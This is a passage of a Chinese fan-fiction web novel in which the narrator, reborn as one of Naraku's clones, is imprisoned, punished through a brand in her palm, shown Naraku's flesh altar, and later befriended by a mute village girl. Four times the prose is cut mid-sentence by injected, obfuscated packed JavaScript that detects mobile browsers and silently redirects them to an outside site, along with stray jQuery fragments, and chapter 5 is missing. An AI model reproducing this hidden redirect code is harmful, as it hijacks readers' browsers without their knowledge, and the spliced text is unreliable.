《救命,穿成奈落分身怎么办!》
2. 分身吗
“……野草啊……长在石缝里……”
断断续续的词儿,混在没调的哼唱里,能听出点儿。声不大,甚至有点虚,可就像根细韧的线,在这满是血腥、呕吐和死沉沉绝望的笼子里,愣是钻进来了。
“风一吹……它就弯了腰……雨一打……它就倒了……”
她嗓子哑,带着种跟自己没关系的随便劲儿,好像就是闲得慌,打发这没完没了的囚禁日子。可那词儿里说的——不起眼的野草,在石缝里挤着拼命活,被风雨随便糟践——却像把没形的钥匙,“咔哒”一下,把我心里被恐惧和绝望冻住的某个角给撬开了。
野草……石缝……风雨……
干呕扯得肚子抽痛的劲儿慢慢缓了,我瘫在冰凉的地上,呼哧呼哧喘气,眼泪就那么无声地淌下来,混着嘴角的脏东西,在脸上划出凉丝丝的印子。神乐那没调的、不在乎似的哼唱,像阵小却不停的风,吹着我乱糟糟又冷冰冰的心思。那野草的词儿,看着窝囊,可透着股子狠劲的活气。长在石缝里,风刮雨浇,弯了腰,倒了地……那之后呢?死了?还是……只要根还在,还有口气,就总想着……再挺起来?
这念头弱得像风里的火苗,可就是不灭。
我费劲地翻了个身,脸朝上躺在硬邦邦的地上,冰凉的石头透过薄衣裳扎进肉里。眼瞅着头顶那矮矮的、压得人慌的、满是湿印子的岩石顶,眼神空落落的。奈落的话,神乐的哼唱,村民的惨叫,小孩的眼睛……一堆碎片在脑子里转得发疯,撞来撞去。
“服从…是它唯一的意志…”
“野草啊……长在石缝里…”
“恐惧…是它最纯粹的养料…”
“风一吹……它就弯了腰…”
身子里头,一股子老大的累劲儿,跟潮水似的涌上来,一下子把所有闹腾的情绪都淹了。那是魂儿像是被扯来扯去、榨干了似的,浑身虚得厉害。脑子开始发沉,眼皮重得撑不住,直想合上。
不能睡。心里有个小声儿在挣扎。睡着了,是不是就彻底陷进去,成了奈落手里那把趁手的、冷冰冰的“家伙”?像神无那样?像……以前的“未名”那样?
可那累劲儿实在太沉,把最后一点想扛的力气都压垮了。眼皮终于还是重重地合上了。黑糊糊的劲儿温柔地裹过来。
可就在脑子快彻底迷糊过去的那会儿,左手手心,传来一阵清清楚楚的疼。
那疼很轻,像被啥小玩意儿扎了一下,又像伤口结了痂,边上绷得慌。它愣生生地在一片麻木的累里头冒出来,这么显眼,这么……真。
是那个伤口!就是那个反抗的小孩,吓疯了的时候用指甲或者啥碎木片,我抓他那小胳膊、他使劲挣的时候,在我手心划的那道印子!
我猛地蜷起身子,跟刚生下来的小崽子找地方躲似的,往角落里那堆带霉味和干草气的草堆里缩得更紧。冰凉的草梗蹭着脸蛋,有点扎痒。我死死闭着眼,胸脯跟着呼吸轻轻起伏,使劲学睡着的人那样,呼吸匀匀的。但凡有点不对劲的情绪晃悠,都可能招来黑地里那双哪儿都能瞅见的、盯着你的眼睛。奈落,他说不定就在哪个犄角旮旯,跟看培养皿里的小虫子似的,瞅着我们这些“家伙”的一举一动。
身子一动不动,装睡。
可我的右手,在草堆挡着的地方,特慢、特小心地动。每个关节弯的时候都沉得像扛着千斤担子,肌肉绷得紧紧的,憋着气,感觉着周围空气最细微的动静,听着隔壁神乐那没头没尾的哼唱还有没有。
终于,冰凉的指尖,碰到了左手手心。
那儿,一道小小的、几乎瞅不见的鼓包。伤口已经凝住了,血痂薄薄的,边儿有点翘。指尖轻轻蹭过那糙拉拉的血痂边。
疼劲儿,像道弱却特清楚的电流,一下子从那小小的碰着的地方窜开,顺着胳膊的筋,一路往上,直扎进乱糟糟的脑子里。
“嘶……”
一声特轻、差点就憋在喉咙里的吸气声,没忍住,跑了出来。不是因为多疼,是因为这感觉本身。
它这么陌生,又这么……活泛。
不像奈落那股子劲儿带来的、冷冰冰沉乎乎的、要把魂儿碾碎的压迫感。也不像动手杀人时,那麻木的、跟切烂木头似的触感。更不像趴在地上时,膝盖撞石头的钝疼——那更像是“家伙”磨坏了。
这道小小的、别人反抗时留下的、不值一提的划痕带来的疼,带着种怪乎乎的温度。它小,可尖,清清楚楚地说着“这儿破了”。它像颗扔进水潭的小石子,在麻木的感官这潭死水里,荡开一圈圈小却没法忽略的波纹。
这疼……是我的。
不是因为奈落的命令,不是因为“家伙”要转起来,而是……那会儿,在那小孩绝望地反抗时,作为“我”这么个存在,和另一个活物撞了一下,留下的印子。
指尖下意识地、更使劲地按在那小小的血痂上。更清楚的疼劲儿传来,还带着点儿弱得快瞅不见的热乎气,好像伤口里头的血在轻轻跳。
活着。
这念头,没头没脑地、清清楚楚地冒在被恐惧和绝望冻住的心湖里。不是因为奈落让我喘气,不是因为“家伙”还能用,是因为……我能感觉到疼。是“我”的疼。
原来……疼,也能让人这么……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252178|182016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
舍不得活着的感觉?
黑地里,我还蜷着装睡,一动没动。就贴着冰凉地面的脸蛋,能感觉到一丝凉丝丝的湿乎乎的劲儿顺着眼角,无声地淌下来,渗进身子底下带股烂味儿的草堆里。
笼子最里头,浓得化不开的黑像凝固的墨,沉乎乎地压着每一寸地方。就只有一丝特弱的、不知道从哪个缝里钻进来的亮,小气地在冰冷的石头地上抹出一道白惨惨、模模糊糊的印子,勉强画出铁栅栏吓人的轮廓。空气里,血腥味、铁锈味和霉烂的味儿混在一起,冰得扎人,每回喘气都像吸进小冰碴子。
我还蜷在角落的草堆里,像个被扔了的破布偶。身子僵着一个姿势太久,胳膊腿早麻得冰凉,关节那儿酸溜溜地疼。可我一点儿不敢动。装睡,是现在唯一能留着的、小得可怜的体面和挡箭牌。
所有的感觉,所有的心思,都聚在左手掌心。
那道小小的伤口,那道被小孩反抗时划的、不值一提的印子,这会儿成了黑糊糊的世界里唯一的记号。指尖小心地、一遍又一遍地描着那糙拉拉的血痂边。每回按一下,那清楚又弱的疼劲儿就像一小簇火苗,在冷冰冰的心思里头跳一下,带来一丝短却真的暖和,赶跑点儿无孔不入的麻木和绝望。
活着……疼着……在着呢。
隔壁笼子里,早就没声了。神乐不知道是真睡了,还是跟我一样,在黑得透顶的地方憋着,不敢出声。这死沉沉的静,比奈落的压迫还让人喘不上气,它好像有分量,沉乎乎地压在胸口。
时间没啥意思了,就掌心那点小疼,是唯一能抓着的东西。
突然,没一点儿预兆——
“嗒。”
一声特轻、特脆的响,像露珠从草叶尖掉下来,把死水似的静给打破了。
贴在地上的脸蛋,感觉到一丝特小的凉。不是水珠的冰,是……说不出的、带点清清爽爽的凉丝丝的感觉?那感觉一下子就没了,快得让人以为是瞎想。
我猛地屏住气,浑身的肉一下子绷紧到最紧,连心跳都像停了一下。指尖停下了在伤口上的蹭蹭。
咋了?
笼子里还是一片死静。石壁上的水珠还在慢慢凝成、往下掉,“嗒…嗒…”响得挺有规律,跟之前没啥不一样。隔壁神乐也没动静。好像刚才那一瞬间的怪感觉,就是太紧张了,瞎想出来的。
瞎想吗?
不是。脸蛋上那剩下的、一丝丝特弱的清凉感,这么真,跟笼子里又脏又冷的空气完全不一样。它弱,可带着种怪乎乎的……“干净”劲儿?就像开春的时候,头一缕化了的雪水,带着能洗干净所有脏东西的清爽。
3. 分身吗
黑得啥也看不见,我瞎摸似的瞅了半天,啥也没有。就只有化不开的黑,压得人喘不上气。
最后,眼神不由自主地慢慢挪到自己左手上。刚才还在感受那“活着的疼”的手,这会儿安安静静搁在冰凉的草梗上。
黑地里,眼睛没用。可心里头,就跟真瞧见了似的——掌心那道小口子。那道沾着小孩反抗的劲儿、也让我瞅见“活着”这点念想的伤口。
就好像……伤口边上有那么一点点亮,特弱,闪了一下就没了?
跟夏天夜里的萤火虫似的,刚冒头就熄了。弱得我自己都犯嘀咕:是真的吗?还是绝望得出现幻觉了?或者……
一个更大胆、更离谱的想法,跟冰底下的水流似的,偷偷摸摸冒出来了。
是这身子……在不乐意?不乐意沾着的血?不乐意被硬塞进来的杀人命令?还是……不乐意奈落刻在骨子里的、那股子“最猛胜”的邪乎劲儿?
手指头不知不觉蜷起来,指甲又轻轻刮过那层血痂。
这回没觉得新的疼。反倒有点……怪,伤口里头传来一丝丝麻痒痒的,还带着点说不出的暖和?就像伤口长肉的时候,新肉芽在偷偷往外钻?
这感觉太淡,飘乎乎的,没法确定。可脸蛋上留着的那点清凉,还有脑子里那闪了一下的光,像扔进水潭的俩石子,荡开的圈儿悄没声地变大了。
奈落说恐惧是养料。那……反抗呢?哪怕是最弱的、身子自己都没意识到的不乐意?这点不值一提的“不乐意”,能不能成……另一种“养料”?养点……奈落没料到的东西?
这想法太吓人了,就像在悬崖边上划火柴——作死呢。可它一旦冒出来,就在这黑沉沉的绝望里,犟得不行地烧起来,发着弱却死不悔改的光和热。
我还蜷在冰凉的草堆里,跟个没气的石像似的。脸埋在发臭的干草里,把最后一点亮也挡没了。就贴着地面的脸蛋,能清楚感觉到石板的硬、冰得扎人的凉,还有……一丝丝特弱、几乎摸不着的震动,好像城堡深处有啥沉东西在动。
在这没完没了的囚禁里,时间就剩下掌心伤口传来的、弱却不停的跳动感。它在长好。我能感觉到那细细的麻痒,跟无数小蚂蚁在皮肤底下爬似的。每回心跳,好像都带着点说不清的热流往那儿涌,催着这不起眼的伤口赶紧好。这感觉,居然让人有点荒唐的踏实。
活着。疼着。长着呢。
“哼……”
隔壁笼子突然飘过来一声哼哼,特轻,带着没睡醒的迷糊,还有点说不出的烦躁——是神乐。她好像翻了个身,铁链跟着“哗啦”响了几声,又没动静了。那声不自觉的哼,像扔冰湖里的石子,搅了下冻住的空气,接着就沉进更静的地方了。
就在这哼声的余味儿快散没的时候——
“唔!”
一声憋着的、短得可怜的闷哼从牙缝里挤出来。我浑身一下子绷紧,蜷得更紧,跟被踩了尾巴的猫似的。
掌心那道正在长好的伤口边上,突然传来一阵尖溜溜的疼!来得又快又猛,比之前厉害多了,像烧红的针狠狠扎进去,又“嗖”地拔出来!
疼得我脑子一片空白。后背的冷汗一下子把薄衣裳湿透了,更添了层冰碴子似的凉。咋回事?长肉的麻痒咋突然变成这样了?
紧接着,一股子说不出的、冰凉粘腻的念头,跟没形的毒蛇似的,没打招呼就蛮横地缠上来!不是从门口来的,是……好像直接在我身子里头醒了!冰得慌、滑溜溜的,带着说一不二的霸道,还有点被惹毛的阴狠,一下子攥住了我脑子里最核心的地方。
是奈落!不是他本人来了,是……他刻在这“家伙”身子深处、跟戳章似的监控念头!被刚才那阵猛的情绪波动——伤口带来的怪“存在感”,还有跟着冒出来的、作死的反抗想法——惊动了!
“老实点。”
一个念头,冰冰冷冷的,直戳戳的,没得商量,跟冰锥子似的凿进我脑子里。带着警告,带着教训。刚才那阵突然的疼,显然是它在“提醒”我。
我一下子屏住气,心脏跳得快把肋骨撞碎了,浑身的血好像都涌到头上,下一秒又被那冰碴子似的念头冻住了。老大的恐惧跟只真的大手似的,死死掐着我脖子。魂儿在尖叫,身子却硬得像块铁,连抖都抖不了。就指甲使劲抠进另一只手的掌心,用新的疼扛着那要把人淹死的恐惧和丢人。
那戳在骨子里的印子在烧!它在罚我!罚我刚才那下“不安分”,罚我贪那点“存在感”,罚我那点跟野草似的、想在石缝里活下去的傻念头!
冰碴子似的念头在我乱糟糟的脑子里慢慢蹭,满是坏心眼。它没说啥具体的话,可那打量和警告的意思清清楚楚。像一只老大的、冰冰冷的眼睛,在我魂儿里头睁开,不留情面地瞅遍每个角落,找任何一点“不干净”的、跑偏了“家伙”该有的想法。
在极致的恐惧里,时间被拉得老长。每一秒都像过了一辈子那么难挨。
不知道过了多久,也许就几眨眼的功夫,那股冰碴子似的、被惹毛的念头,才跟退潮似的慢慢缩回去。可它没走,就是又钻回脑子里那片粘糊糊的黑里头,像条藏着的毒蛇,随时准备再亮出牙。掌心伤口剩下的疼,也跟着念头退去,慢慢变轻,又成了之前那点麻痒痒。
好像刚才那阵撕心裂肺的疼,就是场幻觉。一场奈落用来保“家伙”干净的、狠巴巴的净化仪式。
笼子又被死静填满了。隔壁神乐那儿再也没一点声。就我又粗又憋着的喘气声,在小空间里听得特清楚。
身子还是硬邦邦的,可魂儿里头,有啥东西彻底碎了。最后一点
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252179|182016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
侥幸,最后一点盼着“被忘了”的小心思,被刚才那冰碴子似的教训碾成了沫。
奈落压根没走。他哪儿都在。他的念头,就是这身子的规矩。任何“自己”的苗头,都是坏了规矩,肯定要挨狠罚。
脸蛋贴着冰乎乎、糙拉拉的草梗,眼泪早就干了,留下紧绷绷、冰溜溜的印子。黑地里,我慢慢、特慢地睁开眼。
没焦点。就空落落对着前面那片吞了一切的黑。
可在那空落落的眼仁最深处,一丝弱却不一样的光,跟淬了火的钢似的,在冰碴子似的绝望里偷偷聚起来。
不是吓出来的泪,不是服软的灰。
是一点冰。
一点在最冷的压迫下,被反复捶打、烧炼,最后凝成的、带棱带角的、尖溜溜的寒冰。
呵…原来是这样。
一个没出声的念头,带着透骨的凉,还有点近乎疯癫的明白,在死静的心湖上划得清清楚楚:
疼让人舍不得活着?多傻多金贵的想法啊。在这儿,活着本身,就是最尖的刀,反复割着那叫“自己”的碎渣。每回心跳,每回喘气,每回感觉到那点伤口长好的麻痒……都不过是给这叫“未名”的“家伙”,抹上一层更像样的、叫“疼”的润滑油,让它转得更顺,更合主人的意。
奈落要的,从来不是个会琢磨、会疼、会舍不得“活着”的魂儿。他要的是把刀。一把快、冰、绝对听话的刀。任何多余的东西,都是该剔掉的渣子。
刚才那阵刻在骨子里的罚,就是最明白的警告。
手指头,不知不觉又碰到了掌心那道正在长好的伤口。那点麻痒痒还在,跟无数小针轻轻扎似的。
可这会儿,这感觉再也带不来啥“活着”的安慰了。它就带来冰碴子似的明白——这伤口长好,是“家伙”的本事,是奈落允许的自己修,是为了下回更利索地杀人做准备。
这身子,从里到外,每一寸肉,每一点感觉,都是他的。包括这疼,包括这长好,包括这……被硬塞进来、却又被反复警告“别不安分”的魂儿。
我慢慢、特慢地抬起那只受伤的手。动作僵得像生了锈的提线木偶。在伸手不见五指的黑里,我把那只手举到眼前。尽管啥也看不见,可我的目光好像能穿破墨汁似的黑,死死“钉”在那只手的影子上。
冰乎乎的空气裹着胳膊,带来一丝丝疼。
嘴角,在黑地里,特慢地往上扯了一下。
没出声。
就一道没声的、带着血腥味的弧线,像用最薄的刀片在冰面上划的印子,定在嘴角。
那不是笑。
是裂了道缝。
是魂儿被反复碾碎、冻住后,在绝望的冰原上硬撑着崩开的一道,冰、尖、带着没完没了的嘲讽和某种疯了似的决绝的……缝。
4. 分身吗
笼子里又落回冰窟窿似的静。
脸蛋贴在糙拉拉带霉味的草梗上,冰碴子似的凉气一个劲往皮肤里钻,想把刚才被教训得冒火的恐惧再冻成麻木。我还蜷着不动,连喘气都压到最轻,跟块真没气的石头似的。
可心里头,早已经翻江倒海了。
手心那道伤口还在丝丝拉拉地麻痒,奈落刻在骨子里的疼也没全消,两道冰溜溜的电流似的,老提醒着刚才的事。警告,教训,说一不二的拿捏。那冰碴子似的念头退了,可留下的恐惧尖刺,却扎得更深,每回心跳都带着哆嗦。
但就在这哆嗦的正中间,一点冰冰冷、尖溜溜的东西在慢慢成形。不是指望,那太金贵了。是另一种——彻底绝望后,啥都不在乎了的清醒。
活着,就是被使来使去,被磨得更利,沾更多无辜人的血,直到这“家伙”没用了,随手扔了,或者回炉再造。死,就是主人一句话的事,随时能来。反抗……刚才那阵钻心的疼和冰碴子似的碾压,就是最明白的答案。
那在这条叫“未名”的死路上,走到头还有啥?
黑地里,我空落落的眼神像要钻过厚石头墙,瞅向啥都没有的远处。不是盼着有人来救,不是想看见亮。是一种……更像被逼到绝路的野兽,冒出的凶劲。
反正都是疼,都是绝望。那至少疼的法子、绝望的路子,得我自己选。哪怕就是选撞哪块尖石头,选咋个死法咽气。
这念头本身,就带着股子自个儿毁了自个儿的痛快,冰冰冷地烧着剩下的念想。
就在这死静里,只剩心跳“咚咚”响的煎熬中,飘进来一丝轻响,不是水珠滴答的声。
是……羽毛蹭着空气的轻响?快得很,还带着让人不得劲的“嗡嗡”声,从远往近挪。
最猛胜!
身子比脑子先绷紧。奈落用来盯梢、传信,甚至直接弄死谁的毒虫。它们到这儿来,准没好事。
“嗡嗡”声在笼子外头顿了下。接着,隔壁传来铁链被碰了下的轻响,“叮”一声。
又一声更轻、几乎听不见的动静。像……啥薄乎乎、干巴巴的东西,被飞快地塞过铁栅栏的缝?
“嗡嗡”声又响起来,很快走远了,没入城堡黑不见底的走廊里。
又落回死静。
我憋着气,浑身的劲儿都聚在耳朵上听隔壁。神乐那儿啥声都没有。没问“啥玩意儿”,没惊得吸气,连翻身的动静都没有。她静得……像早料到,又或者,早习惯了。
这不对劲的静,比啥响都让人发毛。像根没形的线,悄没声地缠上来,带着种藏着的、危险的可能。
时间过得黏糊糊的,慢得要命。又过了不知多久,也许一会儿,也许半个时辰。
“咔哒。”
一声轻响,不是隔壁,是我这笼子的铁栅栏门。锁舌弹开的声在死静里听得人头皮发麻。
我心猛地一沉,差点跳出来。来了。新命令?又要去“干活”?
栅栏门悄没声地开了。没脚步声。就门口飘进来一片更浓的、带着毒虫翅膀扇动的影子。能瞅见几只最猛胜的复眼闪着微光,它们挤在一块儿,传着没声的命令。
——起来。跟上。
冰碴子似的念头,跟上次一样,直接刻进脑子里,赶着这身子动。
刚想抗拒,手心那没全消的疼“嗖”地厉害了点,像烧红的针又扎了下。警告明明白白,狠得很。
我僵着、慢慢地坐起来。关节“嘎吱”响。眼瞅着地上,不敢看门口那片代表着绝对说了算的影子。当好“家伙”,是现在唯一能做的,也必须做的。
站起来,脚步发飘地跟着那片影子走出笼子。冰乎乎的空气一下子裹住全身,走廊两边的石头墙上燃着昏火把,火苗跳着,把影子拉得忽长忽短,歪歪扭扭跟鬼似的。
不是往外面走的路。是往城堡更里头走。
越往里走,空气里的血腥味和那烂乎乎的甜味越浓。光也越暗,最后几乎全靠最猛胜复眼那点微光照着。路往下斜,弯弯曲曲的,像往啥大家伙的肚子里钻。
最后,那片影子在一扇老大的、用肉和拧巴的骨头做的怪门前停下。门中间,一块突突跳的血管似的东西跟活物似的动。
最猛胜散开,悄没声地飘在周围。
门,悄没声地滑开了。露出后面更黑的地方。一股子说不出的味儿,混着强得吓人的妖气、怨毒,还有无数活物挣扎哭喊完剩下的渣子味,跟真的浪头似的,从门里拍过来。
那味儿太吓人,差点让我腿一软跪下去。身子里每个细胞都在尖叫着要跑。
可冰碴子似的烙印立刻压下来,硬把所有想反抗的念头按下去。
“进去。”最猛胜传过来冰冰冷的命令。
我僵着抬脚,跨过那扇让人恶心的门槛。
眼前是个大得没法形容的地方。像在城堡跳的心脏里头。四周的墙不是石头,是慢慢动的、满是青黑血管的肉壁。地上画着老大的、复杂的紫阵纹,那些纹路跟活的似的,慢慢流着邪乎的光。正中间是个老大的台子,用无数白森森的骨头和拧巴的肉堆起来的,台子上空飘着一团老大的、老在翻涌的暗红色东西——像凝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252180|182016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
固的血,又像啥正在长的吓人玩意儿。
而奈落,就站在台子下头。
他背对着门口,一身狒狒皮像融进这片黑里,就那把深蓝色的长发,在阵光下泛着冰溜溜的光。他微微抬着头,好像在瞅、在品那团暗红色东西散出来的邪乎劲儿。
就一个背影,那股子大得没边、黏糊糊、啥都能拿捏的压迫感,也塞满了整个地方,让人喘不上气。
我趴在地上,额头紧紧贴在冰乎乎粘腻的地上——那地面,好像也是用啥凝固的肉做的。身子控制不住地抖,每回喘气都吸进浓得化不开的邪味,引得胃里直翻腾。
奈落没回头。可他的声音像冰蛛丝,在这大地方里清清楚楚地荡开,直接钻进我脑子里。
“看见了吗?”他声音里带着点快活得很的、当造物主的得意,“这才是真的‘器’。完美,厉害,藏着数不清的可能。”
那团暗红色的东西跟着他的话微微跳了下,散出更强的怨毒和妖气。
“而你,”他声音突然变冷,带着点看不起的意思,“不过是用来收‘材料’的家伙。用你的杀人,用你带回来的恐惧和绝望,喂它,炼它。”
我手指头猛地抠进身下粘腻的地面。所以……那些村民的死,他们的怕,他们的血……都只是为了喂这个……这个怪物?
“你觉得荣幸吗?未名。”他慢慢转过身。影子遮着他的脸,就那双眼,在黑里闪着不像人的、红通通的光,像最深的噩梦,“你的‘用处’,就在这儿。”
那双红眼睛,像最沉的枷锁,死死锁住我。被他这么一看,魂儿好像被扒开了,啥小情绪都藏不住。刚才那点因为气和恶心冒出来的波动,他显然瞅见了。
手心深处的烙印“腾”地烧起来!比上回还厉害,像有烧红的烙铁直接按在神经上!
“呃啊——!”疼得实在忍不住,喉咙里挤出一声闷哼。我猛地蜷起来,身子抽得厉害,冷汗一下子把衣服湿透了。这疼不光是身上的,还带着往脑子里碾、往里头瞅的劲儿,像有只冰手在胡乱搅我的念头,查有没有啥“不干净”的想法。
“看来……教训还不够。”奈落的声音冰冰冷冷,听不出是气是笑,可比咋喊都吓人,“还是说,你还留着那些……没用的‘感觉’?”
老大的、能冻住人的恐惧一下子攥紧了我。他要毁了我?在这儿?现在?就像扔件不合格的家伙?
就在这吓破胆的劲儿快把脑子压碎的当口——
“奈落!”
一个沙哑、带着急喘气的女声,突然从门口那儿传过来。
6. 分身吗
我缩在栎树洞底,身下是积年累月的枯叶,闻着股腐朽味儿,混着点儿过去晒过太阳的干燥气息。伤口还在隐隐作痛,不是那种尖锐的撕裂感,而是更深的、像被掏空了似的虚弱钝痛,还带着奈落烙在灵魂里的那股阴魂不散的冰冷。
饿肚子这事儿最实在,像个暴君,用无形的鞭子抽着我的胃,逼我离开这暂时安全的地方。
不远处的溪流淌着,汩汩地响,跟嘲弄人似的。水清亮得能见底,几条银白色的小鱼在里头游得挺悠闲,看着傻,动作却快得很。我趴在岸边,伸手去抓,每次都抓得挺快,可到头来只有冰冷水花溅起来,胳膊上的伤口还被扯得有点儿疼。
我这双手,好像生来就只会握武器、杀人。要论抓鱼这种填饱肚子的基本活儿,笨得可笑。又饿又急,心里那股无力感烧得我理智都快没了。
就在我差不多要动些更暴力的念头时,后颈突然像过了道细微的电流——有人在看我。
我猛地抬头,眼神跟刀子似的,一下子就锁定了对岸。
那儿站着个瘦小的人影,在一丛矮灌木旁边,是个小女孩。穿的粗布衣服都洗发白了,头发乱糟糟的,小脸沾着泥灰。最让我在意的是她的眼睛,又大又黑,里面没有小孩该有的怯懦,充满好奇的看着我,感觉有点像我养过的小猫。
不对,她啥时候来的?我居然一点儿没察觉!
我全身的肌肉一下子绷紧,像受惊的野兽似的猛地转身,摆出防御的架势。动作太大,左臂一阵抽痛,我忍不住闷哼一声,额角冒出汗珠。
那小女孩好像被我这反应吓了一跳,细瘦的肩膀微微缩了缩,但没像别的孩子那样尖叫着跑开。她就那么默默地看着我,那双可爱的眼睛里,飞快地闪过害怕的波动。
接着,她做了个我完全没料到的动作。
她小心翼翼地把背在身后的小手拿出来,手里是个用旧木板钉的小桶,里面放着三四个红得不太规则的野莓,还有一小把看着蔫蔫的、但透着绿意的野菜。她把小木桶轻轻放在岸边的石头上,伸出细瘦的手指,指了指桶里的东西,又指了指我。
做完这些,她往后退了一小步,还是用那双过分沉静的眼睛望着我,像在观察,又像在等我反应。
给我分享吃的?
一连串的问号在我脑子里冒出来。是陷阱?阴谋?奈落派来的?不对,她身上没邪气也没妖力,就是纯粹的人类小孩的味儿,混着泥土和青草的气息。她眼神里除了那层害怕,没一点儿恶意,只有种近乎本能的、笨笨的试探。
溪水哗哗地流着,没人说话。我心里的戒备像块冰似的立着,可肚子饿得直叫,还有那几颗野莓红得诱人,一个劲儿地敲着那层冰壳。
最后,还是活下去的本能占了上风。我慢慢地、小心翼翼地蹚过冰冷的溪水,眼睛一直盯着她,只要她有一点儿不对劲,我立马就——
啥也没发生。
她就安安静静地站在那儿,看着我走近,看着我犹豫地伸出手拿起小木桶。
我拿起最小的那颗野莓放进嘴里,酸涩里带着点儿甜味在舌尖散开,一下子就刺激得我流口水。我几乎是狼吞虎咽地把果子吃完了,连野菜啥味儿都没顾上尝。
吃完才发觉自己有点儿失态,有点儿尴尬地抬起头。
这时候,我看见她没什么表情的小脸上,嘴角微微向上弯了一下。像是练了好久才做出来的、特别短暂的微笑,还是没出声。
那一刻,我心里某块又硬又冷的东西,好像被这没声音的微笑轻轻撬开了条缝。
从那天起,她差不多每天都来。
有时候是早上,带着露水的气儿;有时候是下午,阳光在她发梢晃悠。她总提着那个破桶,里面有时候是几颗野果,有时候是一小撮蘑菇,偶尔会有块硬得像石头的麦饼,一看就是从她自己口粮里省出来的。
她不说话,我也没话。
交流简单又复杂,全靠眼神、手势,还有那种慢慢攒起来的默契。
她看我还在跟溪里的鱼较劲,就蹲在对岸,托着腮安安静静地看。看了好一会儿,她站起来走到下游一点的地方,屏住气,那双平时呆萌的眼睛一下子聚焦,小手快得像闪电似的伸进水里——
“哗啦”一声。
一尾银亮的小鱼就在她手心里扑腾。她走到我跟前,把鱼放进我那个空破瓦罐里,然后抬起头,用那双好像会说话的黑眼睛看着我,又指指溪水,做了个轻轻的、从下往上捞的动作。
她在教我。
我学着她的样子,屏住气,集中精神等着。一次又一次地失败,她也不急,不催,就站在旁边,有时候在我又一次扑空溅起大水花时,轻轻摇下头,然后再示范一遍。
直到那天,我感觉指尖碰到了滑溜溜的鱼身,猛地一捞
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252182|182016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!
水花溅起来,手里鱼挣扎的感觉真真切切。
我愣在水里,看着手里这活蹦乱跳的鱼,一时不知道该咋办。
岸边上,她一下子跳了起来。
还是没出声,但她整个小脸都亮了,眼睛弯成了好看的月牙,里面全是纯粹的、一点儿不掩饰的开心。她用力拍着手,脚尖轻轻跺着地,好像是她自己抓到鱼了似的。
一股从没感受过的暖流,突然冲垮了心口的冰层,流到四肢百骸。那里面有成就感,有被认可的喜悦,还有……被她的笑感染的一点点快乐。
我看着她,嘴角僵硬地、试着向上牵了牵。大概是个比哭还难看的、好久不见的微笑。
她看见了,拍手的动作停了一下,那双黑宝石似的眼睛里,光更亮了。
除了抓鱼,她还教我认林子里哪些野果甜能吃,哪些蘑菇看着好看却有毒。她会拉着我的衣角,带我去看长在背阴处能止血的草药。
而我能为她做的很少。她踮着脚够高处的果子时,我就默默伸手帮她摘下来;她不小心被荆棘划破手指,我就用我这双曾经只沾血的手,生疏又小心地、尽量轻地帮她挑出刺。
她总是安安静静地伸出手,忍着那点儿疼,然后用一种带着信任和点儿依赖的眼神看着我。那眼神,比啥话都让人觉得沉甸甸的。
树洞成了我们不用说话的据点。她会把我铺的干草堆弄得更平整,会把采来的、带着香味的野花放在洞口。我们会并排坐在树下,分着吃一颗酸涩的野果,看阳光透过树叶洒下斑斑点点的光,听风吹过树梢的沙沙声。
空气里都是宁静又平和的味儿。那些关于奈落、杀戮、逃亡的冰冷记忆,在这份不用说话的陪伴和纯粹的好面前,好像被暂时隔到另一个世界去了。
我开始习惯她在,习惯那双安静的眼睛,习惯这种不用说话的默契。她就像一道微弱却暖和的光,悄悄照进我又冷又暗的生命裂缝里。
直到第六天。
那天下午,阳光跟往常一样好,林子里鸟叫得脆生生的。我坐在树洞旁,手里无意识地编着根细草茎,眼睛时不时望向她每天来的那条小路。
时间一点点过去。
小路那头,一直空荡荡的,只有风吹过的时候草在晃。
一种说不出的不安,像初春溪水下的暗流,在我心里悄悄涌起来,越来越急,越来越冷。
7. 分身吗
今天的太阳有点晃眼,比前几天都厉害。
